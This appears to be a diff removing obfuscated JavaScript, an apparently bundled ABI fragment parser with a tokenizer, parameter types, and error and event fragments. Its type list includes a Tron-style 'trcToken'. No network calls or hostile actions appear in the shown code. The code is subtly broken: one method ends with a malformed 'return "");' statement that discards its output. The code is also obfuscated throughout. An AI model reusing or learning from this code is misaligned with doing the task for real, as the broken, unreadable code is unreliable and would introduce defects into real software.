- var _0x89568b = "constant external internal payable private public pure view";
- var _0x3e579b = _0x5306cc(_0x89568b.split(" "));
- var _0x23eb20 = "constructor error event fallback function receive struct";
- var _0x16e61d = _0x5306cc(_0x23eb20.split(" "));
- var _0x3fcb29 = "calldata memory storage payable indexed";
- var _0x56aee1 = _0x5306cc(_0x3fcb29.split(" "));
- var _0x43f479 = _0x5306cc([_0x23eb20, _0x3fcb29, "tuple returns", _0x89568b].join(" ").split(" "));
- var _0x255d01 = {
- "(": "OPEN_PAREN",
- ")": "CLOSE_PAREN",
- "[": "OPEN_BRACKET",
- "]": "CLOSE_BRACKET",
- ",": "COMMA",
- "@": "AT"
- };
- var _0x557a0f = new RegExp("^(\\s*)");
- var _0x5ee782 = new RegExp("^([0-9]+)");
- var _0xb613ce = new RegExp("^([a-zA-Z$_][a-zA-Z0-9$_]*)");
- var _0x37bbe6 = new RegExp("^([a-zA-Z$_][a-zA-Z0-9$_]*)$");
- var _0x2dfe45 = new RegExp("^(trcToken|address|bool|bytes([0-9]*)|string|u?int([0-9]*))$");
- var _0xa2603c = new WeakMap();
- var _0x575367 = new WeakMap();
- var _0x362733 = new WeakSet();
- var _0x11f4be = function () {
- function _0x2f51c2(_0x637a65) {
- _0x1d998d(this, _0x2f51c2);
- _0x2b5fbc(this, _0x362733);
- _0x15b26a(this, _0xa2603c, {
- writable: true,
- value: undefined
- });
- _0x15b26a(this, _0x575367, {
- writable: true,
- value: undefined
- });
- _0x207f54(this, _0xa2603c, 0);
- _0x207f54(this, _0x575367, _0x637a65.slice());
- }
- _0x561e78(_0x2f51c2, [{
- key: "offset",
- get: function () {
- return _0x46b89d(this, _0xa2603c);
- }
- }, {
- key: "length",
- get: function () {
- return _0x46b89d(this, _0x575367).length - _0x46b89d(this, _0xa2603c);
- }
- }, {
- key: "clone",
- value: function () {
- return new _0x2f51c2(_0x46b89d(this, _0x575367));
- }
- }, {
- key: "reset",
- value: function () {
- _0x207f54(this, _0xa2603c, 0);
- }
- }, {
- key: "popKeyword",
- value: function (_0x14fb33) {
- var _0x76f6aa = this.peek();
- if ("KEYWORD" !== _0x76f6aa.type || !_0x14fb33.has(_0x76f6aa.text)) {
- throw new Error("expected keyword ".concat(_0x76f6aa.text));
- }
- return this.pop().text;
- }
- }, {
- key: "popType",
- value: function (_0x1bd7e3) {
- if (this.peek().type !== _0x1bd7e3) {
- throw new Error("expected ".concat(_0x1bd7e3, "; got ").concat(JSON.stringify(this.peek())));
- }
- return this.pop().text;
- }
- }, {
- key: "popParen",
- value: function () {
- var _0x4e2a23 = this.peek();
- if ("OPEN_PAREN" !== _0x4e2a23.type) {
- throw new Error("bad start");
- }
- var _0x4b5afa = _0x1dbc51(this, _0x362733, _0x46de52).call(this, _0x46b89d(this, _0xa2603c) + 1, _0x4e2a23.match + 1);
- _0x207f54(this, _0xa2603c, _0x4e2a23.match + 1);
- return _0x4b5afa;
- }
- }, {
- key: "popParams",
- value: function () {
- var _0x4c78d8 = this.peek();
- if ("OPEN_PAREN" !== _0x4c78d8.type) {
- throw new Error("bad start");
- }
- for (var _0x20edea = []; _0x46b89d(this, _0xa2603c) < _0x4c78d8.match - 1;) {
- var _0x558181 = this.peek().linkNext;
- _0x20edea.push(_0x1dbc51(this, _0x362733, _0x46de52).call(this, _0x46b89d(this, _0xa2603c) + 1, _0x558181));
- _0x207f54(this, _0xa2603c, _0x558181);
- }
- _0x207f54(this, _0xa2603c, _0x4c78d8.match + 1);
- return _0x20edea;
- }
- }, {
- key: "peek",
- value: function () {
- if (_0x46b89d(this, _0xa2603c) >= _0x46b89d(this, _0x575367).length) {
- throw new Error("out-of-bounds");
- }
- return _0x46b89d(this, _0x575367)[_0x46b89d(this, _0xa2603c)];
- }
- }, {
- key: "peekKeyword",
- value: function (_0x219c35) {
- var _0x555724 = this.peekType("KEYWORD");
- return null != _0x555724 && _0x219c35.has(_0x555724) ? _0x555724 : null;
- }
- }, {
- key: "peekType",
- value: function (_0x56cd20) {
- if (0 === this.length) {
- return null;
- }
- var _0x1af6c1 = this.peek();
- return _0x1af6c1.type === _0x56cd20 ? _0x1af6c1.text : null;
- }
- }, {
- key: "pop",
- value: function () {
- var _0x507a07;
- var _0x392dac = this.peek();
- _0x207f54(this, _0xa2603c, (_0x507a07 = _0x46b89d(this, _0xa2603c), ++_0x507a07));
- return _0x392dac;
- }
- }, {
- key: "toString",
- value: function () {
- for (var _0x4e77b1 = [], _0x48807c = _0x46b89d(this, _0xa2603c); _0x48807c < _0x46b89d(this, _0x575367).length; _0x48807c++) {
- var _0x13021a = _0x46b89d(this, _0x575367)[_0x48807c];
- _0x4e77b1.push("".concat(_0x13021a.type, ":").concat(_0x13021a.text));
- }
- return "");
- }
- }]);
- return _0x2f51c2;
- }();
- function _0x46de52() {
- var _0x28d8f8 = arguments.length > 0 && undefined !== arguments[0] ? arguments[0] : 0;
- var _0x375c27 = arguments.length > 1 && undefined !== arguments[1] ? arguments[1] : 0;
- return new _0x11f4be(_0x46b89d(this, _0x575367).slice(_0x28d8f8, _0x375c27).map(function (_0x125d0b) {
- return Object.freeze(Object.assign({}, _0x125d0b, {
- match: _0x125d0b.match - _0x28d8f8,
- linkBack: _0x125d0b.linkBack - _0x28d8f8,
- linkNext: _0x125d0b.linkNext - _0x28d8f8
- }));
- }));
- }
- function _0x3ce43c(_0x394d80) {
- for (var _0x35ae6d = [], _0x35887d = function (_0x2f162b) {
- var _0x12af3d = _0x32731f < _0x394d80.length ? JSON.stringify(_0x394d80[_0x32731f]) : "$EOI";
- throw new Error("invalid token ".concat(_0x12af3d, " at ").concat(_0x32731f, ": ").concat(_0x2f162b));
- }, _0xf0be89 = [], _0x1b76c8 = [], _0x32731f = 0; _0x32731f < _0x394d80.length;) {
- var _0x29ffd4 = _0x394d80.substring(_0x32731f);
- var _0x472081 = _0x29ffd4.match(_0x557a0f);
- _0x472081 && (_0x32731f += _0x472081[1].length, _0x29ffd4 = _0x394d80.substring(_0x32731f));
- var _0x118433 = {
- depth: _0xf0be89.length,
- linkBack: -1,
- linkNext: -1,
- match: -1,
- type: "",
- text: "",
- offset: _0x32731f,
- value: -1
- };
- _0x35ae6d.push(_0x118433);
- var _0x15cfe0 = _0x255d01[_0x29ffd4[0]] || "";
- if (_0x15cfe0) {
- if (_0x118433.type = _0x15cfe0, _0x118433.text = _0x29ffd4[0], _0x32731f++, "OPEN_PAREN" === _0x15cfe0) {
- _0xf0be89.push(_0x35ae6d.length - 1);
- _0x1b76c8.push(_0x35ae6d.length - 1);
- } else {
- if ("CLOSE_PAREN" == _0x15cfe0) {
- 0 === _0xf0be89.length && _0x35887d("no matching open bracket");
- _0x118433.match = _0xf0be89.pop();
- _0x35ae6d[_0x118433.match].match = _0x35ae6d.length - 1;
- _0x118433.depth--;
- _0x118433.linkBack = _0x1b76c8.pop();
- _0x35ae6d[_0x118433.linkBack].linkNext = _0x35ae6d.length - 1;
- } else {
- if ("COMMA" === _0x15cfe0) {
- _0x118433.linkBack = _0x1b76c8.pop();
- _0x35ae6d[_0x118433.linkBack].linkNext = _0x35ae6d.length - 1;
- _0x1b76c8.push(_0x35ae6d.length - 1);
- } else {
- if ("OPEN_BRACKET" === _0x15cfe0) {
- _0x118433.type = "BRACKET";
- } else {
- if ("CLOSE_BRACKET" === _0x15cfe0) {
- var _0x44a0ce = _0x35ae6d.pop().text;
- if (_0x35ae6d.length > 0 && "NUMBER" === _0x35ae6d[_0x35ae6d.length - 1].type) {
- var _0x45cae4 = _0x35ae6d.pop().text;
- _0x44a0ce = _0x45cae4 + _0x44a0ce;
- _0x35ae6d[_0x35ae6d.length - 1].value = _0x453994(_0x45cae4);
- }
- if (0 === _0x35ae6d.length || "BRACKET" !== _0x35ae6d[_0x35ae6d.length - 1].type) {
- throw new Error("missing opening bracket");
- }
- _0x35ae6d[_0x35ae6d.length - 1].text += _0x44a0ce;
- }
- }
- }
- }
- }
- } else {
- _0x472081 = _0x29ffd4.match(_0xb613ce);
- if (_0x472081) {
- if (_0x118433.text = _0x472081[1], _0x32731f += _0x118433.text.length, _0x43f479.has(_0x118433.text)) {
- _0x118433.type = "KEYWORD";
- continue;
- }
- if (_0x118433.text.match(_0x2dfe45)) {
- _0x118433.type = "TYPE";
- continue;
- }
- _0x118433.type = "ID";
- } else {
- if (!(_0x472081 = _0x29ffd4.match(_0x5ee782))) {
- throw new Error("unexpected token ".concat(JSON.stringify(_0x29ffd4[0]), " at position ").concat(_0x32731f));
- }
- _0x118433.text = _0x472081[1];
- _0x118433.type = "NUMBER";
- _0x32731f += _0x118433.text.length;
- }
- }
- }
- return new _0x11f4be(_0x35ae6d.map(function (_0x17fa1b) {
- return Object.freeze(_0x17fa1b);
- }));
- }
- function _0xe7c405(_0x8da889, _0xc8323a) {
- var _0x226b51 = [];
- for (var _0x5813d7 in _0xc8323a.keys()) _0x8da889.has(_0x5813d7) && _0x226b51.push(_0x5813d7);
- if (_0x226b51.length > 1) {
- throw new Error("conflicting types: ".concat(_0x226b51.join(", ")));
- }
- }
- function _0x37e60e(_0x119aa2, _0x58d358) {
- if (_0x58d358.peekKeyword(_0x16e61d)) {
- var _0x35433e = _0x58d358.pop().text;
- if (_0x35433e !== _0x119aa2) {
- throw new Error("expected ".concat(_0x119aa2, ", got ").concat(_0x35433e));
- }
- }
- return _0x58d358.popType("ID");
- }
- function _0x59e44b(_0x141f24, _0x5a6241) {
- for (var _0x3900f7 = new Set();;) {
- var _0x5a0032 = _0x141f24.peekType("KEYWORD");
- if (null == _0x5a0032 || _0x5a6241 && !_0x5a6241.has(_0x5a0032)) {
- break;
- }
- if (_0x141f24.pop(), _0x3900f7.has(_0x5a0032)) {
- throw new Error("duplicate keywords: ".concat(JSON.stringify(_0x5a0032)));
- }
- _0x3900f7.add(_0x5a0032);
- }
- return Object.freeze(_0x3900f7);
- }
- function _0x169b7c(_0x59c03c) {
- var _0x4422d5 = _0x59e44b(_0x59c03c, _0x3e579b);
- _0xe7c405(_0x4422d5, _0x5306cc("constant payable nonpayable".split(" ")));
- _0xe7c405(_0x4422d5, _0x5306cc("pure view payable nonpayable".split(" ")));
- return _0x4422d5.has("view") ? "view" : _0x4422d5.has("pure") ? "pure" : _0x4422d5.has("payable") ? "payable" : _0x4422d5.has("nonpayable") ? "nonpayable" : _0x4422d5.has("constant") ? "view" : "nonpayable";
- }
- function _0x578967(_0x35fcd2, _0x458d74) {
- return _0x35fcd2.popParams().map(function (_0x21f722) {
- return _0x26af2e.from(_0x21f722, _0x458d74);
- });
- }
- function _0x2ef942(_0x424863) {
- if (_0x424863.peekType("AT")) {
- if (_0x424863.pop(), _0x424863.peekType("NUMBER")) {
- return _0x1d7273(_0x424863.pop().text);
- }
- throw new Error("invalid gas");
- }
- return null;
- }
- function _0x1b0a10(_0x1eb5b4) {
- if (_0x1eb5b4.length) {
- throw new Error("unexpected tokens: ".concat(_0x1eb5b4.toString()));
- }
- }
- var _0x5a5fb8 = new RegExp(/^(.*)\[([0-9]*)\]$/);
- function _0x12debb(_0x4b3ed0) {
- var _0x4e516f = _0x4b3ed0.match(_0x2dfe45);
- if (_0x413a2d(_0x4e516f, "invalid type", "type", _0x4b3ed0), "uint" === _0x4b3ed0) {
- return "uint256";
- }
- if ("int" === _0x4b3ed0) {
- return "int256";
- }
- if (_0x4e516f[2]) {
- var _0x496495 = parseInt(_0x4e516f[2]);
- _0x413a2d(0 !== _0x496495 && _0x496495 <= 32, "invalid bytes length", "type", _0x4b3ed0);
- } else {
- if (_0x4e516f[3]) {
- var _0x5e1100 = parseInt(_0x4e516f[3]);
- _0x413a2d(0 !== _0x5e1100 && _0x5e1100 <= 256 && _0x5e1100 % 8 == 0, "invalid numeric width", "type", _0x4b3ed0);
- }
- }
- return _0x4b3ed0;
- }
- var _0x1511b0 = {};
- var _0x20fd99 = Symbol.for("_ethers_internal");
- var _0x5a6ac4 = "_ParamTypeInternal";
- var _0x6bd7fc = "_ErrorInternal";
- var _0x5b941a = "_EventInternal";
- var _0xe9e2f9 = "_ConstructorInternal";
- var _0x225e6f = "_FallbackInternal";
- var _0x41afd3 = "_FunctionInternal";
- var _0x242f3c = "_StructInternal";
- var _0x58cf92 = new WeakSet();
- var _0x26af2e = function () {
- function _0x4671f2(_0xa896d, _0x5210ae, _0x120dc5, _0x210ea4, _0x2583d0, _0x51c6a8, _0x1016ae, _0x5b98ca) {
- if (_0x1d998d(this, _0x4671f2), _0x2b5fbc(this, _0x58cf92), _0x713ed3(this, "name", undefined), _0x713ed3(this, "type", undefined), _0x713ed3(this, "baseType", undefined), _0x713ed3(this, "indexed", undefined), _0x713ed3(this, "components", undefined), _0x713ed3(this, "arrayLength", undefined), _0x713ed3(this, "arrayChildren", undefined), _0x5c4373(_0xa896d, _0x1511b0, "ParamType"), Object.defineProperty(this, _0x20fd99, {
- value: _0x5a6ac4
- }), _0x51c6a8 && (_0x51c6a8 = Object.freeze(_0x51c6a8.slice())), "array" === _0x210ea4) {
- if (null == _0x1016ae || null == _0x5b98ca) {
- throw new Error("");
- }
- } else {
- if (null != _0x1016ae || null != _0x5b98ca) {
- throw new Error("");
- }
- }
- if ("tuple" === _0x210ea4) {
- null == _0x51c6a8 && (_0x51c6a8 = Object.freeze([]));
- } else {
- if (null != _0x51c6a8) {
- throw new Error("");
- }
- }
- _0x7e8dd6(this, {
- name: _0x5210ae,
- type: _0x120dc5,
- baseType: _0x210ea4,
- indexed: _0x2583d0,
- components: _0x51c6a8,
- arrayLength: _0x1016ae,
- arrayChildren: _0x5b98ca
- });
- }
- var _0x59930d;
- _0x561e78(_0x4671f2, [{
- key: "format",
- value: function (_0x4f893d) {
- if (null == _0x4f893d && (_0x4f893d = "sighash"), "json" === _0x4f893d) {
- var _0x3a85c3 = {
- type: "tuple" === this.baseType ? "tuple" : this.type,
- name: this.name || undefined
- };
- "boolean" == typeof this.indexed && (_0x3a85c3.indexed = this.indexed);
- this.isTuple() && (_0x3a85c3.components = this.components.map(function (_0x57625d) {
- return JSON.parse(_0x57625d.format(_0x4f893d));
- }));
- return JSON.stringify(_0x3a85c3);
- }
- var _0x190cd3 = "";
- this.isArray() ? (_0x190cd3 += this.arrayChildren.format(_0x4f893d), _0x190cd3 += "[".concat(this.arrayLength < 0 ? "" : String(this.arrayLength), "]")) : this.isTuple() ? ("sighash" !== _0x4f893d && (_0x190cd3 += this.type), _0x190cd3 += "(" + this.components.map(function (_0x9f9edf) {
- return _0x9f9edf.format(_0x4f893d);
- }).join("full" === _0x4f893d ? ", " : ",") + ")") : _0x190cd3 += this.type;
- "sighash" !== _0x4f893d && (true === this.indexed && (_0x190cd3 += " indexed"), "full" === _0x4f893d && this.name && (_0x190cd3 += " " + this.name));
- return _0x190cd3;
- }
- }, {
- key: "isArray",
- value: function () {
- return "array" === this.baseType;
- }
- }, {
- key: "isTuple",
- value: function () {
- return "tuple" === this.baseType;
- }
- }, {
- key: "isIndexable",
- value: function () {
- return null != this.indexed;
- }
- }, {
- key: "walk",
- value: function (_0xb2b74b, _0x9e5ceb) {
- if (this.isArray()) {
- if (!Array.isArray(_0xb2b74b)) {
- throw new Error("invalid array value");
- }
- if (-1 !== this.arrayLength && _0xb2b74b.length !== this.arrayLength) {
- throw new Error("array is wrong length");
- }
- var _0x28f686 = this;
- return _0xb2b74b.map(function (_0x3f9594) {
- return _0x28f686.arrayChildren.walk(_0x3f9594, _0x9e5ceb);
- });
- }
- if (this.isTuple()) {
- if (!Array.isArray(_0xb2b74b)) {
- throw new Error("invalid tuple value");
- }
- if (_0xb2b74b.length !== this.components.length) {
- throw new Error("array is wrong length");
- }
- var _0x14ea59 = this;
- return _0xb2b74b.map(function (_0x4e54be, _0x4606a6) {
- return _0x14ea59.components[_0x4606a6].walk(_0x4e54be, _0x9e5ceb);
- });
- }
- return _0x9e5ceb(this.type, _0xb2b74b);
- }
- }, {
- key: "walkAsync",
- value: (_0x59930d = _0x203d83(_0x307918().mark(function _0xccd4e6(_0xa0b719, _0x40c736) {
- var _0x4f41c6;
- var _0x126be5;
- return _0x307918().wrap(function (_0x228866) {
- for (;;) {
- switch (_0x228866.prev = _0x228866.next) {
- case 0:
- if (_0x4f41c6 = [], _0x126be5 = [_0xa0b719], _0x1dbc51(this, _0x58cf92, _0x4d6f9d).call(this, _0x4f41c6, _0xa0b719, _0x40c736, function (_0x2fbf24) {
- _0x126be5[0] = _0x2fbf24;
- }), !_0x4f41c6.length) {
- _0x228866.next = 6;
- break;
- }
- _0x228866.next = 6;
- return Promise.all(_0x4f41c6);
- case 6:
- return _0x228866.abrupt("return", _0x126be5[0]);
- case 7:
- case "end":
- return _0x228866.stop();
- }
- }
- }, _0xccd4e6, this);
- })), function (_0x433fc1, _0x24264b) {
- return _0x59930d.apply(this, arguments);
- })
- }], [{
- key: "from",
- value: function (_0x28d743, _0x4364b8) {
- if (_0x4671f2.isParamType(_0x28d743)) {
- return _0x28d743;
- }
- if ("string" == typeof _0x28d743) {
- return _0x4671f2.from(_0x3ce43c(_0x28d743), _0x4364b8);
- }
- if (_0x28d743 instanceof _0x11f4be) {
- var _0xf4bffb = "";
- var _0x363c10 = "";
- var _0x54c12c = null;
- _0x59e44b(_0x28d743, _0x5306cc(["tuple"])).has("tuple") || _0x28d743.peekType("OPEN_PAREN") ? (_0x363c10 = "tuple", _0x54c12c = _0x28d743.popParams().map(function (_0x5bee91) {
- return _0x4671f2.from(_0x5bee91);
- }), _0xf4bffb = "tuple(".concat(_0x54c12c.map(function (_0x3f37a9) {
- return _0x3f37a9.format();
- }).join(","), ")")) : _0x363c10 = _0xf4bffb = _0x12debb(_0x28d743.popType("TYPE"));
- for (var _0x559f27 = null, _0x549850 = null; _0x28d743.length && _0x28d743.peekType("BRACKET");) {
- var _0x2f9593 = _0x28d743.pop();
- _0x559f27 = new _0x4671f2(_0x1511b0, "", _0xf4bffb, _0x363c10, null, _0x54c12c, _0x549850, _0x559f27);
- _0x549850 = _0x2f9593.value;
- _0xf4bffb += _0x2f9593.text;
- _0x363c10 = "array";
- _0x54c12c = null;
- }
- var _0x52b37a = null;
- if (_0x59e44b(_0x28d743, _0x56aee1).has("indexed")) {
- if (!_0x4364b8) {
- throw new Error("");
- }
- _0x52b37a = true;
- }
- var _0x16b864 = _0x28d743.peekType("ID") ? _0x28d743.pop().text : "";
- if (_0x28d743.length) {
- throw new Error("leftover tokens");
- }
- return new _0x4671f2(_0x1511b0, _0x16b864, _0xf4bffb, _0x363c10, _0x52b37a, _0x54c12c, _0x549850, _0x559f27);
- }
- var _0x4211fa = _0x28d743.name;
- _0x413a2d(!_0x4211fa || "string" == typeof _0x4211fa && _0x4211fa.match(_0x37bbe6), "invalid name", "obj.name", _0x4211fa);
- var _0x2d8063 = _0x28d743.indexed;
- null != _0x2d8063 && (_0x413a2d(_0x4364b8, "parameter cannot be indexed", "obj.indexed", _0x28d743.indexed), _0x2d8063 = !!_0x2d8063);
- var _0x107967 = _0x28d743.type;
- var _0x2bd6f9 = _0x107967.match(_0x5a5fb8);
- if (_0x2bd6f9) {
- var _0x4ac8b3 = parseInt(_0x2bd6f9[2] || "-1");
- var _0x5a3d99 = _0x4671f2.from({
- type: _0x2bd6f9[1],
- components: _0x28d743.components
- });
- return new _0x4671f2(_0x1511b0, _0x4211fa || "", _0x107967, "array", _0x2d8063, null, _0x4ac8b3, _0x5a3d99);
- }
- if ("tuple" === _0x107967 || _0x107967.startsWith("tuple(") || _0x107967.startsWith("(")) {
- var _0x34dee5 = null != _0x28d743.components ? _0x28d743.components.map(function (_0x1244c8) {
- return _0x4671f2.from(_0x1244c8);
- }) : null;
- return new _0x4671f2(_0x1511b0, _0x4211fa || "", _0x107967, "tuple", _0x2d8063, _0x34dee5, null, null);
- }
- _0x107967 = _0x12debb(_0x28d743.type);
- return new _0x4671f2(_0x1511b0, _0x4211fa || "", _0x107967, _0x107967, _0x2d8063, null, null, null);
- }
- }, {
- key: "isParamType",
- value: function (_0x2d9555) {
- return _0x2d9555 && _0x2d9555[_0x20fd99] === _0x5a6ac4;
- }
- }]);
- return _0x4671f2;
- }();
- function _0x4d6f9d(_0x5143a7, _0x583530, _0x5701f4, _0x9d9d31) {
- if (this.isArray()) {
- if (!Array.isArray(_0x583530)) {
- throw new Error("invalid array value");
- }
- if (-1 !== this.arrayLength && _0x583530.length !== this.arrayLength) {
- throw new Error("array is wrong length");
- }
- var _0x363122 = this.arrayChildren;
- var _0x189baa = _0x583530.slice();
- _0x189baa.forEach(function (_0x39188f, _0x273788) {
- _0x1dbc51(_0x363122, _0x58cf92, _0x4d6f9d).call(_0x363122, _0x5143a7, _0x39188f, _0x5701f4, function (_0x577ba4) {
- _0x189baa[_0x273788] = _0x577ba4;
- });
- });
- return void _0x9d9d31(_0x189baa);
- }
- if (this.isTuple()) {
- var _0x5e68fd;
- var _0x57658d = this.components;
- if (Array.isArray(_0x583530)) {
- _0x5e68fd = _0x583530.slice();
- } else {
- if (null == _0x583530 || "object" !== _0x4dce66(_0x583530)) {
- throw new Error("invalid tuple value");
- }
- _0x5e68fd = _0x57658d.map(function (_0x364e1f) {
- if (!_0x364e1f.name) {
- throw new Error("cannot use object value with unnamed components");
- }
- if (!(_0x364e1f.name in _0x583530)) {
- throw new Error("missing value for component ".concat(_0x364e1f.name));
- }
- return _0x583530[_0x364e1f.name];
- });
- }
- if (_0x5e68fd.length !== this.components.length) {
- throw new Error("array is wrong length");
- }
- _0x5e68fd.forEach(function (_0x21848d, _0x426573) {
- var _0xdd45bb;
- _0x1dbc51(_0xdd45bb = _0x57658d[_0x426573], _0x58cf92, _0x4d6f9d).call(_0xdd45bb, _0x5143a7, _0x21848d, _0x5701f4, function (_0x3c6342) {
- _0x5e68fd[_0x426573] = _0x3c6342;
- });
- });
- return void _0x9d9d31(_0x5e68fd);
- }
- var _0x1f0f22 = _0x5701f4(this.type, _0x583530);
- _0x1f0f22.then ? _0x5143a7.push(_0x203d83(_0x307918().mark(function _0x19cf7c() {
- return _0x307918().wrap(function (_0x5ef9eb) {
- for (;;) {
- switch (_0x5ef9eb.prev = _0x5ef9eb.next) {
- case 0:
- _0x5ef9eb.t0 = _0x9d9d31;
- _0x5ef9eb.next = 3;
- return _0x1f0f22;
- case 3:
- _0x5ef9eb.t1 = _0x5ef9eb.sent;
- (0, _0x5ef9eb.t0)(_0x5ef9eb.t1);
- case 5:
- case "end":
- return _0x5ef9eb.stop();
- }
- }
- }, _0x19cf7c);
- }))()) : _0x9d9d31(_0x1f0f22);
- }
- var _0x4a182f = function () {
- function _0x5d33c0(_0x469d53, _0x3ae13f, _0x2ed12c) {
- _0x1d998d(this, _0x5d33c0);
- _0x713ed3(this, "type", undefined);
- _0x713ed3(this, "inputs", undefined);
- _0x5c4373(_0x469d53, _0x1511b0, "Fragment");
- _0x7e8dd6(this, {
- type: _0x3ae13f,
- inputs: _0x2ed12c = Object.freeze(_0x2ed12c.slice())
- });
- }
- _0x561e78(_0x5d33c0, null, [{
- key: "from",
- value: function (_0x4a7c18) {
- if ("string" == typeof _0x4a7c18) {
- try {
- _0x5d33c0.from(JSON.parse(_0x4a7c18));
- } catch (_0x40b272) {}
- return _0x5d33c0.from(_0x3ce43c(_0x4a7c18));
- }
- if (_0x4a7c18 instanceof _0x11f4be) {
- switch (_0x4a7c18.peekKeyword(_0x16e61d)) {
- case "constructor":
- return _0x3c7daa.from(_0x4a7c18);
- case "error":
- return _0x2c0b6d.from(_0x4a7c18);
- case "event":
- return _0x121af8.from(_0x4a7c18);
- case "fallback":
- case "receive":
- return _0x487408.from(_0x4a7c18);
- case "function":
- return _0xeb7e8b.from(_0x4a7c18);
- case "struct":
- return _0x1982fb.from(_0x4a7c18);
- }
- } else {
- if ("object" === _0x4dce66(_0x4a7c18)) {
- switch (_0x4a7c18.type) {
- case "constructor":
- return _0x3c7daa.from(_0x4a7c18);
- case "error":
- return _0x2c0b6d.from(_0x4a7c18);
- case "event":
- return _0x121af8.from(_0x4a7c18);
- case "fallback":
- case "receive":
- return _0x487408.from(_0x4a7c18);
- case "function":
- return _0xeb7e8b.from(_0x4a7c18);
- case "struct":
- return _0x1982fb.from(_0x4a7c18);
- }
- _0x2b816d(false, "unsupported type: ".concat(_0x4a7c18.type), "UNSUPPORTED_OPERATION", {
- operation: "Fragment.from"
- });
- }
- }
- _0x413a2d(false, "unsupported frgament object", "obj", _0x4a7c18);
- }
- }, {
- key: "isConstructor",
- value: function (_0x420b2b) {
- return _0x3c7daa.isFragment(_0x420b2b);
- }
- }, {
- key: "isError",
- value: function (_0x58771e) {
- return _0x2c0b6d.isFragment(_0x58771e);
- }
- }, {
- key: "isEvent",
- value: function (_0x1cd702) {
- return _0x121af8.isFragment(_0x1cd702);
- }
- }, {
- key: "isFunction",
- value: function (_0x4ca87f) {
- return _0xeb7e8b.isFragment(_0x4ca87f);
- }
- }, {
- key: "isStruct",
- value: function (_0x51e20d) {
- return _0x1982fb.isFragment(_0x51e20d);
- }
- }]);
- return _0x5d33c0;
- }();
- var _0x5a7588 = function (_0x56f07b) {
- _0x2e6032(_0x88134a, _0x56f07b);
- var _0x169e1a = _0x531454(_0x88134a);
- function _0x88134a(_0x32ac5f, _0x2eb076, _0x4e9e8b, _0x1112c3) {
- var _0x684af5;
- _0x1d998d(this, _0x88134a);
- _0x713ed3(_0x3ea587(_0x684af5 = _0x169e1a.call(this, _0x32ac5f, _0x2eb076, _0x1112c3)), "name", undefined);
- _0x413a2d("string" == typeof _0x4e9e8b && _0x4e9e8b.match(_0x37bbe6), "invalid identifier", "name", _0x4e9e8b);
- _0x1112c3 = Object.freeze(_0x1112c3.slice());
- _0x7e8dd6(_0x3ea587(_0x684af5), {
- name: _0x4e9e8b
- });
- return _0x684af5;
- }
- return _0x561e78(_0x88134a);
- }(_0x4a182f);
- function _0xfb5a92(_0x4399f5, _0x4bae64) {
- return "(" + _0x4bae64.map(function (_0x15d831) {
- return _0x15d831.format(_0x4399f5);
- }).join("full" === _0x4399f5 ? ", " : ",") + ")";
- }
- var _0x2c0b6d = function (_0x57d985) {
- _0x2e6032(_0x293f30, _0x57d985);
- var _0x5c802e = _0x531454(_0x293f30);
- function _0x293f30(_0x16e0a4, _0x429d3e, _0x5f07c2) {
- var _0x4f3127;
- _0x1d998d(this, _0x293f30);
- _0x4f3127 = _0x5c802e.call(this, _0x16e0a4, "error", _0x429d3e, _0x5f07c2);
- Object.defineProperty(_0x3ea587(_0x4f3127), _0x20fd99, {
- value: _0x6bd7fc
- });
- return _0x4f3127;
- }
- _0x561e78(_0x293f30, [{
- key: "selector",
- get: function () {
- return _0x261fa4(this.format("sighash")).substring(0, 10);
- }
- }, {
- key: "format",
- value: function (_0x7bd6ed) {
- if (null == _0x7bd6ed && (_0x7bd6ed = "sighash"), "json" === _0x7bd6ed) {
- return JSON.stringify({
- type: "error",
- name: this.name,
- inputs: this.inputs.map(function (_0x5cbda2) {
- return JSON.parse(_0x5cbda2.format(_0x7bd6ed));
- })
- });
- }
- var _0x22bf51 = [];
- "sighash" !== _0x7bd6ed && _0x22bf51.push("error");
- _0x22bf51.push(this.name + _0xfb5a92(_0x7bd6ed, this.inputs));
- return _0x22bf51.join(" ");
- }
- }], [{
- key: "from",
- value: function (_0x1d1b78) {
- if (_0x293f30.isFragment(_0x1d1b78)) {
- return _0x1d1b78;
- }
- if ("string" == typeof _0x1d1b78) {
- return _0x293f30.from(_0x3ce43c(_0x1d1b78));
- }
- if (_0x1d1b78 instanceof _0x11f4be) {
- var _0x50c291 = _0x37e60e("error", _0x1d1b78);
- var _0x188cc5 = _0x578967(_0x1d1b78);
- _0x1b0a10(_0x1d1b78);
- return new _0x293f30(_0x1511b0, _0x50c291, _0x188cc5);
- }
- return new _0x293f30(_0x1511b0, _0x1d1b78.name, _0x1d1b78.inputs ? _0x1d1b78.inputs.map(_0x26af2e.from) : []);
- }
- }, {
- key: "isFragment",
- value: function (_0x164dd5) {
- return _0x164dd5 && _0x164dd5[_0x20fd99] === _0x6bd7fc;
- }
- }]);
- return _0x293f30;
- }(_0x5a7588);
- var _0x121af8 = function (_0x5a93f0) {
- _0x2e6032(_0x403efc, _0x5a93f0);
- var _0x67e215 = _0x531454(_0x403efc);
- function _0x403efc(_0x15bf19, _0x4a117c, _0x207d2a, _0xafd28c) {
- var _0x5f1578;
- _0x1d998d(this, _0x403efc);
- _0x713ed3(_0x3ea587(_0x5f1578 = _0x67e215.call(this, _0x15bf19, "event", _0x4a117c, _0x207d2a)), "anonymous", undefined);
- Object.defineProperty(_0x3ea587(_0x5f1578), _0x20fd99, {
- value: _0x5b941a
- });
- _0x7e8dd6(_0x3ea587(_0x5f1578), {
- anonymous: _0xafd28c
- });
- return _0x5f1578;
- }
- _0x561e78(_0x403efc, [{
- key: "topicHash",
- get: function () {
- return _0x261fa4(this.format("sighash"));
- }
- }, {
- key: "format",
- value: function (_0x41c346) {
- if (null == _0x41c346 && (_0x41c346 = "sighash"), "json" === _0x41c346) {
- return JSON.stringify({
- type: "event",
- anonymous: this.anonymous,
- name: this.name,
- inputs: this.inputs.map(function (_0x5a1a94) {
- return JSON.parse(_0x5a1a94.format(_0x41c346));
- })
- });
- }
- var _0x30355e = [];
- "sighash" !== _0x41c346 && _0x30355e.push("event");
- _0x30355e.push(this.name + _0xfb5a92(_0x41c346, this.inputs));
- "sighash" !== _0x41c346 && this.anonymous && _0x30355e.push("anonymous");
- return _0x30355e.join(" ");
- }
- }], [{
- key: "getTopicHash",
- value: function (_0xc0e138, _0x450c72) {
- _0x450c72 = (_0x450c72 || []).map(function (_0x5903cc) {
- return _0x26af2e.from(_0x5903cc);
- });
- return new _0x403efc(_0x1511b0, _0xc0e138, _0x450c72, false).topicHash;
- }
- }, {
